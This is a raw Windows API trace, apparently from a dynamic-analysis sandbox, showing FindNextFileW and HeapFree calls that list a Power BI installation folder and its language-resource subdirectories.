	[0157.822] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.822] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1
	[0157.977] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.977] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0157.979] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.979] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1
	[0157.980] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.980] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0157.982] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.982] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0157.983] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.983] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0157.985] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.985] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0157.987] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.987] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0157.988] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0157.988] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0158.217] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x427ff58 | out: hHeap=0x5a0000) returned 1
	[0158.225] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
	[0158.231] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.231] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0158.232] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.232] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0158.234] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.234] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1
	[0158.236] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.236] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
	[0158.237] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.237] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0158.239] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.239] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0158.241] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.241] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0158.242] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.242] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0158.244] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.244] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
	[0158.246] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.246] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0158.248] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.248] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1
	[0158.250] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.250] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0158.251] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.251] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0158.253] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.253] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
	[0158.254] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.254] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0158.804] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.804] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1
	[0158.805] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.805] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1
	[0158.807] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.807] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
	[0158.808] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.808] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1
	[0158.810] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.810] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0158.812] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.812] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0158.813] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.813] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0158.815] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.815] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0158.816] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.816] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0158.818] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.818] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1
	[0158.820] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.820] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x160a83ba, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x160a83ba, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1
	[0158.821] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.821] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15ede724, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15ede724, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0158.824] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.824] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16035c5a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16035c5a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0158.826] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0158.826] FindNextFileW (in: hFindFile=0x4140358, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c66c57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16166f59, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0158.828] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
